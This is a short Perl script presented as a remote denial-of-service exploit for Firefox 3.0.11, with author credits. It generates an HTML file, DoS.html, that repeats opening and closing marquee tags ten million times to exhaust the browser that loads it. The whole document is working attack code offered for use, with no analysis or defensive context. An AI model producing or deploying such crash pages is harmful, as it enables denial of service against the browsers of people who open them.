Code:
#!/usr/bin/perl
#
# Mozilla FireFox 3.0.11 (marquee) Remote Denial of Service Exploit
#
# Author : By 599eme Man
# Contact : Flouf@live.fr
########################################################
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n";
print "Mozilla FireFox 3.0.11 (marquee) Remote Denial of Service Exploit \n\n";
print "Author : 599eme Man\n";
print "Contact : Flouf[at]live.fr\n";
print "=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n";
print "Wait...\n";
$htmle = "<html>";
$marqueee = "<marquee>" x 10000000;
$marquees = "</marquee>" x 10000000;
$htmls = "</html>";
open (FILE, ">DoS.html");
print FILE $htmle;
print FILE $marqueee;
print FILE $marquees;
print FILE $htmls;